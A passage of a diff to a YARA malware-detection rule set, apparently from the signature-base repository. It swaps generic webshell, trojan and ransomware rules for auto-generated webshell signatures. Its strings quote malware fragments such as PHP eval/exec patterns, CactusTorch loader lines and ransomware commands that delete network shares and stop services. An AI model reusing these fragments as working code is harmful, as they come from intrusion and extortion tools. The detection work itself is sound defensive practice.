+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8237-L8248"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3a90de401b30e5b590362ba2dde30937"
+		logic_hash = "6e215c3d8b8357b839416ee6951f7739387bb94aa1284ea7e827ae2205221294"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$png = { 89 50 4E 47 }
-		$jpg = { FF D8 FF E0 }
-		$gif = "GIF8" wide ascii
-		$gif2 = "gif89"
-		$gif3 = "Gif89"
-		$mdb = { 00 01 00 00 53 74 }
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
-		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
-		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
-		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
-		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
-		$php_multi_write1 = "fopen(" wide ascii
-		$php_multi_write2 = "fwrite(" wide ascii
-		$php_write1 = "move_uploaded_file" fullword wide ascii
-		$cjsp1 = "<%" ascii wide
-		$cjsp2 = "<jsp:" ascii wide
-		$cjsp3 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp4 = "/jstl/core" ascii wide
-		$payload1 = "ProcessBuilder" fullword ascii wide
-		$payload2 = "processCmd" fullword ascii wide
-		$rt_payload1 = "Runtime" fullword ascii wide
-		$rt_payload2 = "getRuntime" fullword ascii wide
-		$rt_payload3 = "exec" fullword ascii wide
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$asp_payload0 = "eval_r" fullword nocase wide ascii
-		$asp_payload1 = /\beval\s/ nocase wide ascii
-		$asp_payload2 = /\beval\(/ nocase wide ascii
-		$asp_payload3 = /\beval\"\"/ nocase wide ascii
-		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
-		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
-		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
-		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
-		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
-		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
-		$asp_multi_payload_one2 = "addcode" fullword wide ascii
-		$asp_multi_payload_one3 = /\.run\b/ wide ascii
-		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
-		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
-		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
-		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
-		$asp_multi_payload_three2 = "Process" fullword wide ascii
-		$asp_multi_payload_three3 = ".Start" wide ascii
-		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
-		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
-		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
-		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
-		$asp_multi_payload_five2 = ".Start" nocase wide ascii
-		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
-		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
-		$asp_always_write1 = /\.write/ nocase wide ascii
-		$asp_always_write2 = /\.swrite/ nocase wide ascii
-		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
-		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
-		$asp_cr_write1 = "CreateObject(" nocase wide ascii
-		$asp_cr_write2 = "CreateObject (" nocase wide ascii
-		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
-		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
+		$s0 = "<input name=\\\"editfilename\\\" type=\\\"text\\\" class=\\\"style1\\\" value='\".$this->inpu"
 
 	condition:
-		filesize <5MB and ($png at 0 or $jpg at 0 or $gif at 0 or $gif at 3 or $gif2 at 0 or $gif2 at 3 or $gif3 at 0 or $mdb at 0) and ((((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and (( any of ($cpayload*) or all of ($m_cpayload_preg_filter*)) or ( any of ($php_write*) or all of ($php_multi_write*)))) or (( any of ($cjsp*)) and (1 of ($payload*) or all of ($rt_payload*))) or ((( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and (( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) or ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*))))))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_Mixed_OBFUSC : FILE
+rule SIGNATURE_BASE_Commands
 {
 	meta:
-		description = "Detects webshell with mixed obfuscation commands"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "dcb4054b-0c87-5cd0-9297-7fd5f2e37437"
-		date = "2023-01-28"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L6835-L6859"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "76cc6390cbdb81055c72edb124db2bf52e3d0b975406367a9c49a0ee6621d30b"
-		score = 50
+		description = "Webshells Auto-generated - file commands.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7cffefc7-4f24-5908-82a4-f11eda398377"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8249-L8261"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "174486fe844cb388e2ae3494ac2d1ec2"
+		logic_hash = "5251ee090934c8f99a8a2ffef2605593943306937dc56a135a47f1da7e732587"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8c4e5c6bdfcc86fa27bdfb075a7c9a769423ec6d53b73c80cbc71a6f8dd5aace"
-		hash2 = "78f2086b6308315f5f0795aeaa75544128f14889a794205f5fc97d7ca639335b"
-		hash3 = "3bca764d44074820618e1c831449168f220121698a7c82e9909f8eab2e297cbd"
-		hash4 = "b26b5e5cba45482f486ff7c75b54c90b7d1957fd8e272ddb4b2488ec65a2936e"
-		hash5 = "e217be2c533bfddbbdb6dc6a628e0d8756a217c3ddc083894e07fd3a7408756c"
-		importance = 70
 
 	strings:
-		$s1 = "rawurldecode/*" ascii
-		$s2 = "preg_replace/*" ascii
-		$s3 = " __FILE__/*" ascii
-		$s4 = "strlen/*" ascii
-		$s5 = "str_repeat/*" ascii
-		$s6 = "basename/*" ascii
+		$s1 = "If CheckRecord(\"SELECT COUNT(ID) FROM VictimDetail WHERE VictimID = \" & VictimID"
+		$s2 = "proxyArr = Array (\"HTTP_X_FORWARDED_FOR\",\"HTTP_VIA\",\"HTTP_CACHE_CONTROL\",\"HTTP_F"
 
 	condition:
-		( uint16(0)==0x3f3c and filesize <200KB and (4 of them ))
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_Hkdoordll
+{
+	meta:
+		description = "Webshells Auto-generated - file hkdoordll.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c4cfb575-89c3-5a72-8bf5-234d4284fe9d"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8262-L8273"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b715c009d47686c0e62d0981efce2552"
+		logic_hash = "a3c4d262b59cdf82390c0457810505e9e7a18c9b26ba4524bc368fd2141ec306"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_Cookie_Post_Obfuscation : FILE
+	strings:
+		$s6 = "Can't uninstall,maybe the backdoor is not installed or,the Password you INPUT is"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_R57Shell_2
 {
 	meta:
-		description = "Detects webshell using cookie POST"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "cc5ded80-5e58-5b25-86d1-1c492042c740"
-		date = "2023-01-28"
-		modified = "2023-04-05"
-		reference = "https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L6861-L6887"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d08a00e56feb78b7f6599bad6b9b1d8626ce9a6ea1dfdc038358f4c74e6f65c9"
-		hash = "2ce5c4d31682a5a59b665905a6f698c280451117e4aa3aee11523472688edb31"
-		hash = "ff732d91a93dfd1612aed24bbb4d13edb0ab224d874f622943aaeeed4356c662"
-		hash = "a3b64e9e065602d2863fcab641c75f5d8ec67c8632db0f78ca33ded0f4cea257"
-		hash = "d41abce305b0dc9bd3a9feb0b6b35e8e39db9e75efb055d0b1205a9f0c89128e"
-		hash = "333560bdc876fb0186fae97a58c27dd68123be875d510f46098fc5a61615f124"
-		hash = "2efdb79cdde9396ff3dd567db8876607577718db692adf641f595626ef64d3a4"
-		hash = "e1bd3be0cf525a0d61bf8c18e3ffaf3330c1c27c861aede486fd0f1b6930f69a"
-		hash = "f8cdedd21b2cc29497896ec5b6e5863cd67cc1a798d929fd32cdbb654a69168a"
-		logic_hash = "87229859ca3ee8f8b79360603c421528cda2ecefcc46d4080236d09b2dd510fb"
+		description = "Webshells Auto-generated - file r57shell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d3a3fe11-c9e1-523b-88a3-ddc0c1085d04"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8274-L8285"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8023394542cddf8aee5dec6072ed02b5"
+		logic_hash = "5319426928d33b62527efb561c2b7a226a5a473735f501b267e6b3b174972085"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		importance = 70
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "]($_COOKIE, $_POST) as $"
-		$s2 = "function"
-		$s3 = "Array"
+		$s2 = "echo \"<br>\".ws(2).\"HDD Free : <b>\".view_size($free).\"</b> HDD Total : <b>\".view_"
 
 	condition:
-		( uint16(0)==0x3f3c and filesize <100KB and ( all of them ))
+		all of them
 }
-rule SIGNATURE_BASE_Fareit_Trojan_Oct15 : FILE
+rule SIGNATURE_BASE_Mithril_V1_45_Dlltest
 {
 	meta:
-		description = "Detects Fareit Trojan from Sep/Oct 2015 Wave"
+		description = "Webshells Auto-generated - file dllTest.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "725abb2a-7675-51b5-aed8-594e4826a6b4"
-		date = "2015-10-18"
+		id = "2aea84b6-1b51-58cd-b52b-c31b1f75d295"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/5VYtlU"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fareit.yar#L8-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ef47e81483d5edf67d489a9a35ce56667e293350534e780d7d93b1fbc5f7113a"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8286-L8299"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1b9e518aaa62b15079ff6edb412b21e9"
+		logic_hash = "cf1e2ca39ae6b726792bbbaf0f1dd90788a4bb9ba5e3d50c22d75f2b3d4e9e7d"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "230ca0beba8ae712cfe578d2b8ec9581ce149a62486bef209b04eb11d8c088c3"
-		hash2 = "3477d6bfd8313d37fedbd3d6ba74681dd7cb59040cabc2991655bdce95a2a997"
-		hash3 = "408fa0bd4d44de2940605986b554e8dab42f5d28a6a525b4bc41285e37ab488d"
-		hash4 = "76669cbe6a6aac4aa52dbe9d2e027ba184bf3f0b425f478e8c049637624b5dae"
-		hash5 = "9486b73eac92497e703615479d52c85cfb772b4ca6c846ef317729910e7c545f"
-		hash6 = "c3300c648aebac7bf1d90f58ea75660c78604410ca0fa705d3b8ec1e0a45cdd9"
-		hash7 = "ff83e9fcfdec4ffc748e0095391f84a8064ac958a274b9684a771058c04cb0fa"
 
 	strings:
-		$s1 = "ebai.exe" fullword wide
-		$s2 = "Origina" fullword wide
+		$s3 = "syspath"
+		$s4 = "\\Mithril"
+		$s5 = "--list the services in the computer"
 
 	condition:
-		uint16(0)==0x5a4d and $s1 in (0..30000) and $s2 in (0..30000)
+		all of them
 }
-rule SIGNATURE_BASE_MSIL_SUSP_OBFUSC_Xorstringsnet : FILE
+rule SIGNATURE_BASE_Dbgiis6Cli
 {
 	meta:
-		description = "Detects XorStringsNET string encryption, and other obfuscators derived from it"
-		author = "dr4k0nia"
-		id = "f0724ca6-4bfe-5b88-9396-a58aa7461fd6"
-		date = "2023-03-26"
+		description = "Webshells Auto-generated - file dbgiis6cli.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2bc59a6b-f45c-5e68-a346-ac56e8f2757b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/dr4k0nia/yara-rules"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_net_xorstrings.yar#L2-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6d023a80bd8f5709721c3ace8a7230b847ca4bd2a1aff502a25333ffc8bf75ca"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8300-L8312"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3044dceb632b636563f66fee3aaaf8f3"
+		logic_hash = "f6de3c9b8fbcca230540d1b41659ab02c9548df69f53fa9d5730ac7bb7dfe88a"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		version = "1.0"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$pattern = { 06 1E 58 07 8E 69 FE 17 }
-		$a1 = "_CorDllMain" ascii
-		$a2 = "_CorExeMain" ascii
-		$a3 = "mscorlib" ascii fullword
-		$a4 = ".cctor" ascii fullword
-		$a5 = "System.Private.Corlib" ascii
-		$a6 = "<Module>" ascii fullword
-		$a7 = "<PrivateImplementationsDetails{" ascii
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
+		$s5 = "###command:(NO more than 100 bytes!)"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <25MB and $pattern and 2 of ($a*)
+		all of them
 }
-rule SIGNATURE_BASE_CACTUSTORCH : FILE
+rule SIGNATURE_BASE_Remview_2003_04_22
 {
 	meta:
-		description = "Detects CactusTorch Hacktool"
+		description = "Webshells Auto-generated - file remview_2003_04_22.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "75606b9e-97d5-5b8b-87f5-69b7e415b73c"
-		date = "2017-07-31"
+		id = "3088ee27-42a3-5140-98de-ab6f87c7748b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/mdsecactivebreach/CACTUSTORCH"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_gen_cactustorch.yar#L11-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "265287b27aa13840366dbb51ea58b2fdd10e0a57ff27d8deb52ff77dd71c26ad"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8313-L8324"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "17d3e4e39fbca857344a7650f7ea55e3"
+		logic_hash = "2957f6ec7a022ac04759724276f6928625708346903597b0765b5e81207fc6b9"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "314e6d7d863878b6dca46af165e7f08fedd42c054d7dc3828dc80b86a3a9b98c"
-		hash2 = "0305aa32d5f8484ca115bb4888880729af7f33ac99594ec1aa3c65644e544aea"
-		hash3 = "a52d802e34ac9d7d3539019d284b04ded3b8e197d5e3b38ed61f523c3d68baa7"
 
 	strings:
-		$x1 = "$payload = shellcode(%options[\"listener\"], \"true\", \"x86\");" fullword ascii
-		$x2 = "Copy the base64 encoded payload into the code variable below." fullword ascii
-		$x3 = " CACTUSTORCH Payload" ascii
-		$x4 = "ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)" fullword ascii
-		$x5 = "' Author: Vincent Yiu (@vysecurity)" fullword ascii
-		$x6 = "Dim binary : binary = \"rundll32.exe\"" fullword ascii
-		$a1 = "code = code & \"" ascii
-		$a2 = "serialized_obj = serialized_obj & \"" ascii
-		$s1 = "binary = \"rundll32.exe\"" fullword ascii
-		$s2 = "EL.DataType = \"bin.hex\"" fullword ascii
-		$s3 = "Set stm = CreateObject(\"System.IO.MemoryStream\")" fullword ascii
-		$s4 = "var binary = \"rundll32.exe\";" fullword ascii
-		$s5 = "var serialized_obj = \"" ascii
+		$s1 = "\"<b>\".mm(\"Eval PHP code\").\"</b> (\".mm(\"don't type\").\" \\\"&lt;?\\\""
 
 	condition:
-		( filesize <800KB and (1 of ($x*) or (1 of ($a*) and 1 of ($s*)))) or (3 of them )
+		all of them
 }
-rule SIGNATURE_BASE_MAL_RANSOM_Robinhood_May19_1 : FILE
+rule SIGNATURE_BASE_FSO_S_Test
 {
 	meta:
-		description = "Detects RobinHood Ransomware"
+		description = "Webshells Auto-generated - file test.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7199c0de-c925-5399-8fa6-852604190a21"
-		date = "2019-05-15"
+		id = "b0cc5a2a-c741-50dd-854f-5a43769e8f47"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/BThurstonCPTECH/status/1128489465327030277"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_robinhood.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5eef71b94f2488dceff80ec2daba689c12d13b2742ba9ae5ead58711339d6026"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8325-L8337"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "82cf7b48da8286e644f575b039a99c26"
+		logic_hash = "62613bead716717f116290b1c9eca9aa63eadd280050811e30a54e5d186af2fc"
+		score = 50
 		quality = 85
-		tags = "FILE"
-		hash1 = "21cb84fc7b33e8e31364ff0e58b078db8f47494a239dc3ccbea8017ff60807e3"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = ".enc_robbinhood" ascii
-		$s2 = "c:\\windows\\temp\\pub.key" ascii fullword
-		$s3 = "cmd.exe /c net use * /DELETE /Y" ascii
-		$s4 = "sc.exe stop SQLAgent$SQLEXPRESS" nocase
-		$s5 = "main.EnableShadowFucks" nocase
-		$s6 = "main.EnableRecoveryFCK" nocase
-		$s7 = "main.EnableLogLaunders" nocase
-		$s8 = "main.EnableServiceFuck" nocase
+		$s0 = "$yazi = \"test\" . \"\\r\\n\";"
+		$s2 = "fwrite ($fp, \"$yazi\");"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
+		all of them
 }
-rule SIGNATURE_BASE_Apt28_Win_Zebrocy_Golang_Loader_Modified : FILE
+rule SIGNATURE_BASE_Debug_Cress
 {
 	meta:
-		description = "Detects unpacked modified APT28/Sofacy Zebrocy Golang."
-		author = "@VK_Intel"
-		id = "cce9ba6c-954c-5b13-a058-cdf7895d63fc"
-		date = "2018-12-25"
+		description = "Webshells Auto-generated - file cress.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6cf3e43c-bec1-5688-b1d7-8ac48d59153a"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.vkremez.com/2018/12/lets-learn-progression-of-apt28sofacy.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_zebrocy.yar#L1-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "799f4457eb2bdeeb7c9383e2b4e9572a41d9adbfe4a1a9c3b0fa1c9fc6077e40"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8338-L8350"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "36a416186fe010574c9be68002a7286a"
+		logic_hash = "670e236e72d3cb52ea5dba865749baee58a70f8d100db1dd8eddfe3183339181"
 		score = 75
-		quality = 79
-		tags = "FILE"
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$go = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 }
-		$init = { 6d 61 69 6e 2e 69 6e 69 74 }
-		$main = "main" ascii wide fullword
-		$scr_git = {67 69 74 68 75 62 2e 63 6f 6d 2f 6b 62 69 6e 61}
-		$s0 = "os/exec.(*Cmd).Run" fullword ascii
-		$s1 = "net/http.(*http2clientConnReadLoop).processHeaders" fullword ascii
-		$s2 = "os.MkdirAll" fullword ascii
-		$s3 = "os.Getenv" fullword ascii
-		$s4 = "os.Create" fullword ascii
-		$s5 = "io/ioutil.WriteFile" fullword ascii
+		$s0 = "\\Mithril "
+		$s4 = "Mithril.exe"
 
 	condition:
-		uint16(0)==0x5a4d and $go and $init and all of ($s*) and #main>10 and #scr_git>5
+		all of them
 }
-rule SIGNATURE_BASE_Dexter_Malware
+rule SIGNATURE_BASE_Webshell
 {
 	meta:
-		description = "Detects the Dexter Trojan/Agent http://goo.gl/oBvy8b"
+		description = "Webshells Auto-generated - file webshell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8be328ec-ba29-50ba-8d35-e2c4dfcae45e"
-		date = "2015-02-10"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/oBvy8b"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_dexter_trojan.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b05bccce63c1f7e8d6d3f654b611f33da5fc1dbcbd28ff28f817d00bf961e64"
-		score = 70
-		quality = 60
+		reference = "https://github.com/Neo23x0/signature-base"
